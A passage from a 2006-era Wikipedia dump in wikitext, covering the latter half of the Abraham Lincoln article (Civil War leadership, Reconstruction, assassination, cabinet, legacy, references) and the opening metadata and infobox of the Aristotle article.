McClellan, a lifelong [[Democratic Party (United States)|Democrat]] who was temperamentally conservative, was relieved as general-in-chief after releasing his ''[[Harrison's Landing Letter]]'', where he offered unsolicited political advice to Lincoln urging caution in the war effort. McClellan's letter incensed Radical Republicans, who successfully pressured Lincoln to appoint fellow Republican [[John Pope (military officer)|John Pope]] as head of the new [[Army of Virginia]]. Pope complied with Lincoln's strategic desire for the Union to move towards Richmond from the north, thus guarding Washington, D.C. However, Pope was soundly defeated at the [[Second Battle of Bull Run]] during the summer of 1862, forcing the Army of the Potomac back into the defenses of Washington for a second time. Pope was sent to Minnesota to fight the [[Sioux]]. 

Panicked by Confederate General [[Robert E. Lee]]'s invasion of [[Maryland]], Lincoln restored McClellan to command of all forces around Washington in time for the [[Battle of Antietam]] in September 1862. It was the Union victory in that battle that allowed Lincoln to release his Emancipation Proclamation. Lincoln relieved McClellan of command shortly after the 1862 midterm elections and appointed Republican [[Ambrose Burnside]] to head the Army of the Potomac, who promised to follow through on Lincoln's strategic vision for an aggressive offensive against Lee and Richmond. After Burnside was stunningly defeated at [[Battle of Fredericksburg|Fredericksburg]], [[Joseph Hooker]] was given command, despite his idle talk about becoming a military strong man. Hooker was routed by Lee at [[Battle of Chancellorsville|Chancellorsville]] in May 1863 and also relieved of command.

After the Union victory at [[Battle of Gettysburg|Gettysburg]], [[George G. Meade | Meade's]] failure to pursue Lee, and months of inactivity for the Army of the Potomac, Lincoln decided to bring in a western general: General [[Ulysses S. Grant]]. He had a solid string of victories in the Western Theater, including [[Battle of Vicksburg|Vicksburg]] and [[Battle of Chattanooga III|Chattanooga]]. Earlier, reacting to criticism of Grant, Lincoln was quoted as saying, &quot;I cannot spare this man. He fights.&quot; Grant waged his bloody [[Overland Campaign]] in 1864, using a strategy of a [[war of attrition]], characterized by high Union losses at battles such as the [[Battle of the Wilderness|Wilderness]] and [[Battle of Cold Harbor|Cold Harbor]], but by proportionately higher losses in the Confederate army. Grant's aggressive campaign would eventually bottle up Lee in the [[Siege of Petersburg]] and result in the Union taking Richmond and bringing the war to a close in the spring of 1865. 

Lincoln authorized Grant to use a [[scorched earth]] approach to destroy the South's morale and economic ability to continue the war. This allowed Generals [[William Tecumseh Sherman]] and [[Philip Sheridan]] to destroy farms and towns in the [[Shenandoah Valley]], [[Georgia (U.S. state)|Georgia]], and [[South Carolina]]. The damage in [[Sherman's March to the Sea]] through Georgia totaled in excess of $100 million.

Lincoln had a star-crossed record as a military leader, possessing a keen understanding of strategic points (such as the [[Mississippi River]] and the fortress city of Vicksburg) and the importance of defeating the enemy's army, rather than simply capturing cities. However, he had little success in his efforts to motivate his generals to adopt his strategies. Eventually, he found in Grant a man who shared his vision of the war and was able to bring that vision to reality with his relentless pursuit of coordinated offensives in multiple theaters of war. 

Lincoln, perhaps reflecting his lack of military experience, developed a keen curiosity with military campaigning during the war. He spent hours at the [[United States War Department|War Department]] [[Telegraphy|telegraph]] office, reading dispatches from his generals through many a night. He frequently visited battle sites and seemed fascinated by watching scenes of war. During [[Jubal A. Early]]'s [[Battle of Fort Stevens|raid into Washington, D.C.]], in 1864, Lincoln had to be told to duck his head to avoid being shot while observing the scenes of battle.

===Homefront===
Lincoln was more successful in giving the war meaning to Northern civilians through his oratorical skills. Despite his meager education and &amp;#8220;backwoods&amp;#8221; upbringing, Lincoln possessed an extraordinary command of the English language, as evidenced by the [[Gettysburg Address]], a speech dedicating a cemetery of Union soldiers from the [[Battle of Gettysburg]] that he delivered on November 19, 1863. While the featured speaker, orator [[Edward Everett]], spoke for two hours, Lincoln's few choice words resonated across the nation and across history, defying Lincoln's own prediction that &quot;the world will little note, nor long remember what we say here.&quot; Lincoln's [[Lincoln's second inaugural address|second inaugural address]] is also greatly admired and often quoted. In these speeches, Lincoln articulated better than any of his contemporaries the rationale behind the Union effort.

During the Civil War, Lincoln exercised powers no previous president had wielded; he proclaimed a [[blockade]], suspended the writ of [[habeas corpus]], spent money without [[Congress of the United States|congressional]] authorization, and imprisoned thousands of accused Confederate sympathizers without trial. There is a fragment of uncorraborated evidence that Lincoln made contingency plans to arrest [[Chief Justice]] [[Roger Brooke Taney]], though the allegation remains unresolved and controversial (see the [[Taney Arrest Warrant]] controversy). 

The long war and the issue of emancipation appeared to be severely hampering his prospects and pessimists warned that defeat appeared likely.  Lincoln ran under the Union party banner, composed of War Democrats and Republicans. General Grant was facing severe criticism for his conduct of the bloody [[Overland Campaign]] that summer and the seemingly endless [[Siege of Petersburg]]. However, the Union capture of the key railroad center of [[Atlanta, Georgia|Atlanta]] by Sherman's forces in September changed the situation dramatically and Lincoln was reelected.

===Reconstruction===
The [[reconstruction]] of the Union weighed heavy on the President's mind throughout the war effort. He was determined to take a course that would not permanently alienate the former Confederate states, and throughout the war Lincoln urged speedy elections under generous terms in areas behind Union lines. This irritated congressional Republicans, who urged a more stringent Reconstruction policy. One of Lincoln's few vetoes during his term was of the [[Wade-Davis Bil]]l, an effort by congressional Republicans to impose harsher Reconstruction terms on the Confederate areas. Republicans in Congress retaliated by refusing to seat representatives elected from [[Louisiana]], [[Arkansas]], and [[Tennessee]] during the war under Lincoln's generous terms.

&quot;Let 'em up easy,&quot; he told his assembled military leaders [[Ulysses S. Grant|Gen. Ulysses S. Grant]] (a future president), [[William Tecumseh Sherman|Gen. William T. Sherman]] and [[David Dixon Porter|Adm. David Dixon Porter]] in an 1865 meeting on the steamer ''River Queen''. When [[Richmond, Virginia|Richmond]], the Confederate capital, was at long last captured, Lincoln went there to make a public gesture of sitting at [[Jefferson Davis]]'s own desk, symbolically saying to the nation that the President of the United States held authority over the entire land. He was greeted at the city as a conquering hero by freed slaves, whose sentiments were epitomized by one admirer's quote, &quot;I know I am free for I have seen the face of Father Abraham and have felt him.&quot;

On [[April 9]], [[1865]], Confederate General [[Robert E. Lee]] surrendered at [[Appomattox Court House]] in [[Virginia]]. This left only [[Joseph Johnston]]'s forces in the East to deal with. Weeks later Johnston would defy Jefferson Davis and surrender his forces to Sherman. Of course, Lincoln would not survive to see the surrender of all Confederate forces; just five days after Lee surrendered, Lincoln was [[assassination|assassinated]]. He was the first President to be assassinated, and the third to die in office.

==Assassination==
[[Image:Lincolnassassination.jpg|right|thumbnail|250px|The assassination of Abraham Lincoln. From left to right: [[Henry Rathbone]], [[Clara Harris]], Mary Todd Lincoln, Lincoln, and Booth.]]

Lincoln had met frequently with Lt. Gen. [[Ulysses S. Grant]] as the war drew to a close. The two men planned matters of reconstruction, and it was evident to all that they held each other in high regard. During their last meeting, on [[April 14]], [[1865]] ([[Good Friday]]), Lincoln invited Grant to a social engagement that evening. Grant declined (Grant's wife, [[Julia Dent Grant]], is said to have strongly disliked [[Mary Todd Lincoln]]). The President's eldest son, [[Robert Todd Lincoln]], also turned down the invitation. 

[[John Wilkes Booth]], a well-known actor and Southern sympathizer from [[Maryland]], heard that the president and Mrs. Lincoln, along with the Grants, would be attending [[Ford's Theatre]]. Having failed in a plot to kidnap Lincoln earlier, Booth informed his co-conspirators of his intention to kill Lincoln.  Others were assigned to assassinate [[Vice-President]] [[Andrew Johnson]] and [[Secretary of State]] [[William Seward]].

Without his [[bodyguard]] [[Ward Hill Lamon]], to whom he related his famous [[dream]] of his own assassination, the Lincolns left to attend the play at Ford's Theater. The play, ''[[Our American Cousin]]'', was a musical comedy by the British writer [[Tom Taylor]]. As Lincoln sat in his state box in the balcony, Booth crept up behind the President's box and waited for the funniest line of the play, hoping the laughter would cover the gunshot noise. On stage, actor Harry Hawk said the last words Lincoln would ever hear &quot;Well, I guess I know enough to turn you inside out, old gal—you sockdologizing old man-trap...&quot;. When the laughter came Booth jumped into the box the president was in and aimed a single-shot, round-slug .44 [[caliber]] [[Deringer]] at his head, firing at point-blank range.  The bullet entered behind Lincoln's left ear and lodged behind his right eyeball. Major [[Henry Rathbone]], who was present in the Presidential Box, momentarily grappled with Booth but was severely stabbed and slashed by the assassin. It was believed that Booth then shouted &quot;''[[Sic semper tyrannis]]!''&quot; (Latin: &quot;Thus always to tyrants,&quot; the state motto of Virginia; some accounts say he added &quot;The South is avenged!&quot;) and jumped from the balcony to the stage below, breaking his leg. Despite his injury, Booth managed to limp to his horse and make his escape.

As Booth fled from the theater, a young physician, Dr. [[Charles Leale]], made his way through the audience to Lincoln's box. Leale quickly assessed the wound as mortal. The President was taken across the street from the theater to the [[Petersen House]], where he lay in a coma for nine hours before he expired. Several physicians attended Lincoln, including U.S. Army Surgeon General Joseph K. Barnes of the Army Medical Museum. Using a probe, Barnes located some fragments of Lincoln's skull and the ball lodged 6 inches inside his brain. Lincoln, who never regained consciousness, was officially pronounced dead at 7:22 A.M. the next morning, April 15, 1865. Upon his death, Secretary of War [[Edwin Stanton]] lamented &quot;now he belongs to the ages.&quot; After Lincoln's body was returned to the [[White House]], his body was prepared for his &quot;lying in state&quot; in the [[East Room]]. 

The Army Medical Museum, now named the National Museum of Health and Medicine, has retained in its collection since the time of Lincoln's death, several artifacts relating to the assassination. Currently on display in the museum are the bullet that was fired from the Deringer pistol, ending Lincoln's life, the probe used by Barnes, pieces of his skull and hair and the surgeon's cuff, stained with Lincoln's blood. The museum can be found at [http://www.nmhm.washingtondc.museum/exhibits/nationswounds/lincoln.html www.hmhm.washingtondc.museum]

[[Image:LincolnTrain.jpeg|right|thumbnail|250px|Lincoln's funeral train carried his remains, as well as 300 mourners and the casket of his son William, 1,654 miles to Illinois.]]
Lincoln's body was carried by train in a grand funeral procession through several states on its way back to Illinois. The nation mourned a man whom many viewed as the savior of the United States. He was buried in [[Oak Ridge Cemetery]] in Springfield, where a 177 foot (54 m) tall granite tomb surmounted with several bronze statues of Lincoln was constructed by 1874. To prevent repeated attempts to steal Lincoln's body and hold it for ransom, Robert Todd Lincoln had Lincoln exhumed and reinterred in concrete several feet thick on [[September 26]], [[1901]].
{{further|[[Abraham Lincoln's burial and exhumation]]}}

==Presidential appointments==
===Administration and Cabinet===
Lincoln was known for appointing his enemies and political rivals to high positions in his Cabinet. Not only did he use great political skill in reducing potential political opposition, but he felt he was appointing the best qualified person for the good of the country.
{| class=&quot;wikitable&quot;
|-
! Office !! Name !! Term
|-
| [[President of the United States|President]] || '''Abraham Lincoln''' || 1861–1865
|-
| [[Vice President of the United States|Vice President]] || '''[[Hannibal Hamlin]]''' || 1861–1865
|-
| &amp;nbsp; || '''[[Andrew Johnson]]''' || 1865
|-
| [[United States Secretary of State|Secretary of State]] || '''[[William H. Seward]]''' || 1861–1865
|-
| [[United States Secretary of the Treasury|Secretary of the Treasury]] || '''[[Salmon P. Chase]]''' || 1861–1864
|-
| &amp;nbsp; || '''[[William P. Fessenden]]''' || 1864–1865
|-
| &amp;nbsp; || '''[[Hugh McCulloch]]''' || 1865
|-
| [[United States Secretary of War|Secretary of War]] || '''[[Simon Cameron]]''' || 1861–1862
|-
| &amp;nbsp; || '''[[Edwin M. Stanton]]''' || 1862–1865
|-
| [[Attorney General of the United States|Attorney General]] || '''[[Edward Bates]]''' || 1861–1864
|-
| &amp;nbsp; || '''[[James Speed]]'''||align=&quot;left&quot;|1864–1865
|-
| [[Postmaster General of the United States|Postmaster General]] || '''[[Horatio King]]''' || 1861
|-
| &amp;nbsp; || '''[[Montgomery Blair]]''' || 1861–1864
|-
| &amp;nbsp; || '''[[William Dennison (Ohio governor)|William Dennison]]''' || 1864–1865
|-
| [[United States Secretary of the Navy|Secretary of the Navy]] || '''[[Gideon Welles]]''' || 1861–1865
|-
| [[United States Secretary of the Interior|Secretary of the Interior]] || '''[[Caleb B. Smith]]''' || 1861–1863
|-
| &amp;nbsp; || '''[[John P. Usher]]''' || 1863–1865
|}
&lt;br clear=&quot;all&quot;&gt;

===Supreme Court===
Lincoln appointed the following Justices to the [[Supreme Court of the United States]]:
*[[Noah Haynes Swayne]] - 1862
*[[Samuel Freeman Miller]] - 1862
*[[David Davis (senator)|David Davis]] - 1862
*[[Stephen Johnson Field]] - 1863
*[[Salmon P. Chase]] - [[Chief Justice of the United States|Chief Justice]] - 1864

==Major presidential acts==
===Involvement as President-elect===
*[[Morrill tariff|Morrill Tariff of 1861]]
*[[Corwin amendment|Corwin Amendment]]
===Enacted as President===
*Signed [[Revenue Act of 1861]]
*Signed [[Homestead Act]]
*Signed [[Morrill Act|Morill Land-Grant College Act]]
*Signed [[Internal Revenue Act of 1862]]
*Signed Pacific Railway Acts of 1862 and 1864 
*Established [[Department of Agriculture]] (1862)
*Signed [[National Banking Act|National Banking Act of 1863]]
*Signed [[Internal Revenue Act of 1864]]

==States admitted to the Union==
*[[West Virginia]] – 1863
*[[Nevada]] – 1864

==Legacy and memorials==
Lincoln's death made the President a [[martyr]] to many. Today he is perhaps America's second most famous and beloved President after [[George Washington]]. Repeated polls of historians have ranked Lincoln as among the [[historical rankings of U.S. Presidents|greatest presidents in U.S. history]]. Among contemporary admirers, Lincoln is usually seen as a figure who personifies [[Image:Lincoln_statue.jpg|thumbnail|200px|[[Daniel Chester French]]'s seated ''Lincoln'' faces the [[National Mall]] to the east.]]
[[Image:MtRushmore Abe close.JPG|thumbnail|100px|Lincoln's bust on Mt. Rushmore.]]classical values of honesty, integrity, as well as respect for individual and minority rights, and human freedom in general. Many American organizations of all purposes and agendas continue to cite his name and image, with interests ranging from the [[gay rights]] group [[Log Cabin Republicans]] to the [[insurance]] corporation [[Lincoln Financial Group|Lincoln Financial]]. The [[Lincoln automobile]] is also named after him.

Over the years Lincoln has been memorialized in many city names, notably the [[Lincoln, Nebraska|capital of Nebraska]]; with the [[Lincoln Memorial]] in [[Washington, D.C.]] (''pictured, right''); on the U.S. [[U.S. five dollar bill|$5 bill]] and the [[Penny (U.S. coin)|1 cent coin]] (Illinois is the primary opponent to the removal of the penny from circulation); and as part of the [[Mount Rushmore National Memorial]]. [[Lincoln's Tomb]], [[Lincoln Home National Historic Site]] in [[Springfield, Illinois|Springfield]], [[New Salem (Menard County), Illinois|New Salem, Illinois]] (a reconstruction of Lincoln's early adult hometown), [[Ford's Theater]] and Petersen House are all preserved as museums. The [[List of U.S. state nicknames|state nickname]] for [[Illinois]] is ''Land of Lincoln''. 

[[Counties of the United States|Counties]] in 18 [[U.S. state]]s ([[Lincoln County, Arkansas|Arkansas]], [[Lincoln County, Colorado|Colorado]], [[Lincoln County, Idaho|Idaho]], [[Lincoln County, Kansas|Kansas]], [[Lincoln County, Minnesota|Minnesota]], [[Lincoln County, Mississippi|Mississippi]], [[Lincoln County, Montana|Montana]], [[Lincoln County, Nebraska|Nebraska]], [[Lincoln County, Nevada|Nevada]], [[Lincoln County, New Mexico|New Mexico]], [[Lincoln County, Oklahoma|Oklahoma]], [[Lincoln County, Oregon|Oregon]], [[Lincoln County, South Dakota|South Dakota]], [[Lincoln County, Tennessee|Tennessee]], [[Lincoln County, West Virginia|West Virginia]], [[Lincoln County, Washington|Washington]], [[Lincoln County, Wisconsin|Wisconsin]], and [[Lincoln County, Wyoming|Wyoming]]) are named after Lincoln.

On [[February 12]], [[1892]], Abraham Lincoln's birthday was declared to be a federal [[holiday]] in the United States, although in 1971 it was combined with Washington's birthday in the form of [[President's Day]]. February 12 is still observed as a separate legal holiday in many states, including Illinois.

Lincoln's birthplace and family home are national historic memorials: [[Abraham Lincoln Birthplace National Historic Site]] in [[Hodgenville, Kentucky]] and [[Lincoln Home National Historic Site]] in [[Springfield, Illinois]]. The [[Abraham Lincoln Presidential Library and Museum]] is also in Springfield. The [[Abraham Lincoln National Cemetery]] is located in [[Elwood, Illinois]].

Statues of Lincoln can be found in other countries. In [[Ciudad Juárez]], [[Chihuahua]], [[Mexico]], is a 13-foot high bronze statue, a gift from the United States, dedicated in 1966 by President [[Lyndon B. Johnson]]. The U.S. received a statue of [[Benito Juárez]] in exchange, which is in Washington, D.C. Juárez and Lincoln exchanged friendly letters, and Mexico remembers Lincoln's opposition to the [[Mexican-American War]]. There is also a statue in [[Tijuana]], Mexico, showing Lincoln standing and destroying the chains of slavery. There are at least three statues of Lincoln in the [[United Kingdom]]—one in [[London]] by [[Augustus St. Gaudens]],  one in [[Manchester]] by [[George Grey Barnard]] and another in [[Edinburgh]] by [[George Bissell (industrialist)|George Bissell]]. 

The [[ballistic missile]] [[submarine]] [[USS Abraham Lincoln (SSBN-602)|''Abraham Lincoln'' (SSBN-602)]] and the [[aircraft carrier]] [[USS Abraham Lincoln (CVN-72)|''Abraham Lincoln'' (CVN-72)]] were named in his honor. Also, the [[Liberty ship]], [[SS Nancy Hanks|SS ''Nancy Hanks'']] was named to honor his mother.

In a recent public vote entitled &quot;[[The Greatest American]],&quot; Lincoln placed second (placing first was [[Ronald Reagan]]).

==Lincoln in popular culture==
{{see|Lincoln in popular culture}}

==Trivia==
* Lincoln stood 6'3 3/4&quot; (192.4 cm) tall and thus was the tallest president in U.S. history, just edging out [[Lyndon Johnson]] at 6'3 1/2&quot; (191.8 cm).
* He was born on the same day as [[Charles Darwin]].
* The last surviving self-described witness to Lincoln's assassination was [[Samuel J. Seymour]] (~1860–[[April 14]], [[1956]]), who appeared two months before his death at age 96 on the [[CBS]]-TV [[quiz show]] ''[[I've Got a Secret]]''. He said that as a five-year-old he had thought at first that he, himself, had been shot because his nurse, trying to fix a torn place in his blouse, stuck him with a pin at the moment of the gun's discharge.
* According to legend, Lincoln was referred to as &quot;two-faced&quot; by his opponent in the 1858 [[Senate]] election, [[Stephen A. Douglas|Stephen Douglas]]. Upon hearing about this Lincoln jokingly replied, &quot;If I had another face to wear, do you really think I would be wearing this one?&quot;
* According to legend, Lincoln also said, as a young man, on his appearance one day when looking in the mirror: &quot;It's a fact, Abe! You are the ugliest man in the world. If ever I see a man uglier than you, I'm going to shoot him on the spot!&quot; It would no doubt, he thought, be an act of mercy.
* Based on written descriptions of Lincoln, including the observations that he was much taller than most men of his day and had long limbs, an abnormally-shaped chest, and loose or lax joints, it has been conjectured since the 1960s that Lincoln may have suffered from [[Marfan syndrome]].
*Lincoln was known to have a case of [[depression]]. During his time in New Salem, Illinois, his fiancee died, and that triggered his depression. His close friends watched over him to make sure he did not commit suicide. He also suffered from nightmares during his term in the [[White House]]. His depression got so severe, he had to hold a cabinet meeting from his bed.
*He once mentioned one of his haunting nightmares to his friend. Lincoln mentioned that he was standing in a mourning crowd surrounding a train, and when he asked a grieving woman what had happened, she replied, &quot;The President has been shot, and he has died.&quot;
*Lincoln is the only American president to hold a [[patent]].  The patent is for a device that lifts [[boat|boats]] over [[shoal|shoals]].

==See also==
*[[Origins of the American Civil War]]
*[[American System (economics)|American System]], Lincoln's economic beliefs.
*[[Lincoln-Kennedy coincidences]]
*[[List of U.S. Presidential religious affiliations]]
* Movies: ''[[D.W. Griffith's 'Abraham Lincoln']]'', ''[[The Dramatic Life of Abraham Lincoln]]''
*[[Abraham Lincoln Presidential Library and Museum]]

==References==
===Biographies===
*''Lincoln'' by [[David Herbert Donald]] (1999) ISBN 068482535X, very well reviewed by scholars; Donald has won two Pulitzer prizes for biography
*''Abraham Lincoln and Civil War America: A Biography'' by William E. Gienapp ISBN 0195150996 (2002), short
*''Team of Rivals: The Political Genius of Abraham Lincoln'' by [[Doris Kearns Goodwin]] ISBN 0684824906 (2005). reviewers report it is very well written
*''Abraham Lincoln: Redeemer President'' by Allen C. Guelzo ISBN 0802838723 (1999)
*''Abraham Lincoln: a History'' (1890) by [[John Hay]] &amp; [[John George Nicolay]]; online at [http://www.gutenberg.org/etext/6812 Volume 1] and [http://www.gutenberg.org/etext/11708 Volume 2] 10 volumes in all;  written by Lincoln's top aides
*''The Real Abraham Lincoln'' by Reinhard H Luthin (1960), well regarded by reviewers
*''The Abraham Lincoln Encyclopedia'' by [[Mark E. Neely]] (1984), detailed articles on many men and movements associated with AL
* ''The Last Best Hope of Earth: Abraham Lincoln and the Promise of America'' by Mark E. Neely (1993), Pulitzer prize winning author
* ''With Malice Toward None: The Life of Abraham Lincoln'' by Stephen B. Oates (1994). 
*''Lincoln the President'' by James G. Randall (4 vol., 1945–55; reprint 2000.) by prize winning scholar
**''Mr. Lincoln'' excerpts ed. by Richard N. Current (1957)
*''Abraham Lincoln: The Prairie Years'' (2 vol 1926); ''The War Years'' (4 vol 1939) biography by [[Carl Sandburg]]. Pulitzer Prize winner by famous poet
*''Abraham Lincoln: A Biography'' by Benjamin P. Thomas; (1952)

===Specialty topics===
*Baker, Jean H. ''Mary Todd Lincoln: A Biography'' (1987)
*Belz, Herman. ''Abraham Lincoln, Constitutionalism, and Equal Rights in the Civil War Era''  (1998)
*Boritt, Gabor S. ''Lincoln and the Economics of the American Dream'' (1994). Lincoln's economic theory and policies
*Boritt, Gabor S. ''Lincoln the War President'' (1994).
*Boritt, Gabor S., ed. ''The Historian's Lincoln.'' Urbana: University of Illinois Press, 1988, historiography
*Bruce, Robert V. ''Lincoln and the Tools of War'' (1956) on weapons development during the war
*Donald, David Herbert. ''Lincoln Reconsidered: Essays on the Civil War Era'' (1960).
*Foner, Eric. ''Free Soil, Free Labor, Free Men: The Ideology of the Republican Party before the Civil War'' (1970) intellectual history of different prewar faction's in AL's party
*Harris, William C. ''With Charity for All: Lincoln and the Restoration of the Union'' (1997). AL's plans for Reconstruction
*Hendrick, Burton J. ''Lincoln's War Cabinet'' (1946)
*Hofstadter, Richard. ''The American Political Tradition: And the Men Who Made It'' (1948) ch 5: &quot;Abraham Lincoln and the Self-MAde Myth&quot;.
*Holzer, Harold. ''Lincoln at Cooper Union: The Speech That Made Abraham Lincoln President'' (2004).
*McPherson, James M. ''Abraham Lincoln and the Second American Revolution'' (1992)
*McPherson, James M. ''Battle Cry of Freedom: The Civil War Era'' (1988).  Pulitzer Prize winner surveys all aspects of the war
*Morgenthau, Hans J., and David Hein. ''Essays on Lincoln's Faith and Politics''. Lanham, MD: University Press of America for the White Burkett Miller Center of Public Affairs at the University of Virginia, 1983. 
*Neely, Mark E. ''The Fate of Liberty: Abraham Lincoln and Civil Liberties''  (1992). Pulitzer Prize winner.
* Philip S. Paludan ''The Presidency of Abraham Lincoln'' (1994), reviewers call it the most thorough treatment of AL's administration
*''Lincoln in American Memory'' by Merrill D. Peterson,  (1994). how Lincoln was remembered after 1865
*Randall, James G. ''Lincoln the Liberal Statesman'' (1947).
* Richardson, Heather Cox. ''The Greatest Nation of the Earth: Republican Economic Policies during the Civil War'' (1997)
* Shenk, Joshua Wolf. ''Lincoln's Melancholy: How Depression Challenged a President and Fueled His Greatness'' (2005). Named one of the best books of 2005 by The Washington Post, The New York Times, and The Atlanta Journal-Constitution. *''Lincoln'' by [[Gore Vidal]] ISBN 0375708766, a novel.
*''Lincoln and His Generals'' by T. Harry Williams (1967).
*''Lincoln at Gettysburg: The Words That Remade America'' by Garry Wills ISBN 0671867423
*''Honor's Voice: The Transformation of Abraham Lincoln'' by Douglas L. Wilson (1999).

===Lincoln in art and popular culture===
* Bullard. F. Lauriston, ''Lincoln in Marble and Bronze'', Rutgers University Press, New Brunswick, New Jersey  1952
* Mead, Fanklin B., ''Heroic Statues in Bronze of Abraham Lincoln: Introducing The Hoosier Youth by [[Paul Manship]]'', The Lincoln National Life Foundation, Fort Wayne, Indiana  1932
* Moffatt, Frederick C., ''Errant Bronzes: [[George Grey Barnard]]'s Statues of Abraham Lincoln'', University of Deleware Press, Newark, DE  1998
* Murry, Freeman Henry Morris, ''Emancipation anf the Freed in American Sculpture'', Books For Libraries Press, the Black Heritage Library Collection, Freeport, NY 1972 - originally published in 1916
* Petz, Weldon, ''Michigan's Monumental Tributes to Abraham Lincoln'', Historical Society of Michigan  1987
* Redway, Maurine Whorton and Dorothy Kendall Bracken, ''Marks of Lincoln on Our Land''. Hastings House, Publishers, New York  1957
* Savage, Kirk, ''Standing Soldiers, Kneeling Slaves: Race War and Monument in Nineteenth Century America'', Princeton University Press, Princeton New Jersey  1997
* Tice, George, ''Lincoln'', Rutgers University Press, New Brunswick, New Jersey  1984
*''The Real Lincoln'' by [[Thomas DiLorenzo]] ISBN 0761526463, a stinging neo-Confederate attack on Lincoln as evil  2002

===Primary Sources===
* Basler, Roy P. ed. ''Collected Works of Abraham Lincoln'' 9 vols. (New Brunswick, NJ: Rutgers Univ. Press, 1953-55)
* Basler, Roy P. ed. ''Abraham Lincoln: His Speeches and Writings'' (1946)
* Lincoln, Abraham. ''Lincoln: Speeches and Writings'' 2 vol Library of America edition, (1989).
* Lincoln, Abraham. ''The Life and Writings of Abraham Lincoln'' (Modern Library Classics ed by Philip Van Doren Stern) (2000).

==External links==
{{sisterlinks|Abraham Lincoln}}
*{{CongBio|L000313}}
*[http://www.whitehouse.gov/history/presidents/al16.html White House Biography]
*[http://memory.loc.gov/ammem/alhtml/malhome.html Abraham Lincoln Papers at the Library of Congress] (1850-1865)
*[http://commons.wikimedia.org/wiki/Image:Lincolnatpeace2.jpg The Controversial photograph of Lincoln in death]
*[http://www.abrahamlincoln.org/ The Lincoln Institute]
*[http://www.rootdig.com/abraham_lincoln.html Abraham Lincoln in United States Census Records]
*[http://home.att.net/~rjnorton/Lincoln77.html Especially for Students: An Overview of Abraham Lincoln's Life]
*[http://memory.loc.gov/ammem/alhtml/alhome.html Mr. Lincoln's Virtual Library]
*[http://www.quotesandpoem.com/literature/ListofLiteraryWorks/Lincoln__Abraham Speeches and Quotes by Abraham Lincoln]
*[http://www.loc.gov/rr/program/bib/prespoetry/al.html Poetry written by Abraham Lincoln]
*[http://www.mybigadventure.com/index.php?action=Stats&amp;stat=Memorials&amp;date=20041027.3&amp;page=5 Lincoln Memorial Tour] - My Big Adventure (33 Images)
*[http://members.aol.com/RVSNorton/Lincoln2.html Abraham Lincoln Research Site]
*[http://www.abrahamlincolnonline.org Abraham Lincoln Online]
*[http://www.hti.umich.edu/l/lincoln/ The Collected Works of Abraham Lincoln]
*[http://deptorg.knox.edu/lincolnstudies/ Lincoln Studies Center at Knox College]
*[http://lenbernstein.com/Pages/EgoJustice.html Discussion of John Drinkwater's play ''Abraham Lincoln'']
*[http://www.sonofthesouth.net/prod01.htm Original 1860's Harper's Weekly Images and News on Abraham Lincoln]
*[http://dev.stg.brown.edu/projects/lincoln/ The Lincoln Log: A Daily Chronology of the Life of Abraham Lincoln]
*[http://www.nps.gov/linc/ Lincoln Memorial] Washington, DC
*[http://www.thelincolnmuseum.org The Lincoln Museum] Fort Wayne, Indiana 
*[http://www.gilderlehrman.org/historians/fellowship2.html The Lincoln Prize] A national book award sponsored by The Gilder Lehrman Institute of American History and the Civil War Institute at Gettysburg College
*[http://members.aol.com/RVSNorton/Lincoln.html Abraham Lincoln's Assassination]
*[http://www.lincolnherald.com/1970articleSubstitute.html John Summerfield Staples, President Lincoln's &quot;Substitute&quot;]
*[http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=6469.WKU.&amp;OS=PN/6469&amp;RS=PN/6469 US6469] Patent -- ''Manner of Buoying Vessels'' -- A. Lincoln -- 1849 
*[http://www.lewrockwell.com/orig2/lincoln-arch.html King Lincoln] (an archive of articles on Lincoln)
*[http://www.nps.gov/abli/ National Park Service Abraham Lincoln birthplace] (includes good early history)
*Hoard Historical Museum [http://www.hoardmuseum.org/] in [[Fort Atkinson, Wisconsin]] with Lincoln Library
*[http://www.williamapercy.com/pub-LincolnIntimate.htm On the Question of Lincoln's Sexuality]
*[http://www.doctorzebra.com/prez/g16.htm Medical and Health history of Abraham Lincoln]
*[http://www.worldofbiography.com/9052%2DAbraham%20Lincoln/ Biography] (World of Biography)

===Project Gutenberg eTexts===
*List of {{gutenberg author| id=Abraham+Lincoln | name=Abraham Lincoln}}
*[http://www.gutenberg.org/etext/12462 A Compilation of the Messages and Papers of the Presidents: Volume 6, part 1: Abraham Lincoln]
*[http://www.gutenberg.org/etext/2517 Lincoln's Yarns and Stories]
*[http://www.gutenberg.org/etext/6812 Volume 1] and [http://www.gutenberg.org/etext/11708 Volume 2] of ''Abraham Lincoln: a History'' (1890) by [[John Hay]] (1835 to 1905) &amp; [[John George Nicolay]] (1832 to 1901)
*[http://www.gutenberg.org/etext/1815 ''The Boys' Life of Abraham Lincoln''] (1907) by Nicolay, Helen (1866 to 1954)
*[http://www.gutenberg.org/etext/6811 ''The Life of Abraham Lincoln''] (1901) by Henry Ketcham
*[http://www.gutenberg.org/etext/12800 Volume 1] and [http://www.gutenberg.org/etext/12801 Volume 2] of ''Abraham Lincoln'' (1899) by John T. Morse
*[http://www.gutenberg.org/etext/14004 ''The Every-day Life of Abraham Lincoln''] (1913) by Francis Fisher Browne
*[http://www.gutenberg.org/etext/11728 ''Abraham Lincoln: The People's Leader in the Struggle for National Existence''] (1909) by George Haven Putnam, Litt. D.
*[http://www.gutenberg.org/etext/1713 ''Lincoln's Personal Life''] (1922) by Nathaniel W. Stephenson 

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| years=1847 – 1849}}
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    </revision>
  </page>
  <page>
    <title>Aristotle</title>
    <id>308</id>
    <revision>
      <id>42134476</id>
      <timestamp>2006-03-04T01:21:48Z</timestamp>
      <contributor>
        <username>Dpbsmith</username>
        <id>21036</id>
      </contributor>
      <comment>I don't think Ayn Rand has quite the same stature as Alexander the Great and Thomas Aquinas</comment>
      <text xml:space="preserve">{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western philosophers |
  era             = [[Ancient philosophy]] |
  color           = #B0C4DE |

  &lt;!-- Image and Caption --&gt;
  image_name      = Aristoteles Louvre.jpg |
  image_caption   = Aristotle, [[marble]] copy of [[bronze]] by [[Lysippos]] |

  &lt;!-- Information --&gt;
  name             = Αριστοτέλης, Aristotelēs |
  birth            = [[384 BC]] |
  death            = [[March 7]] [[322 BC]] |
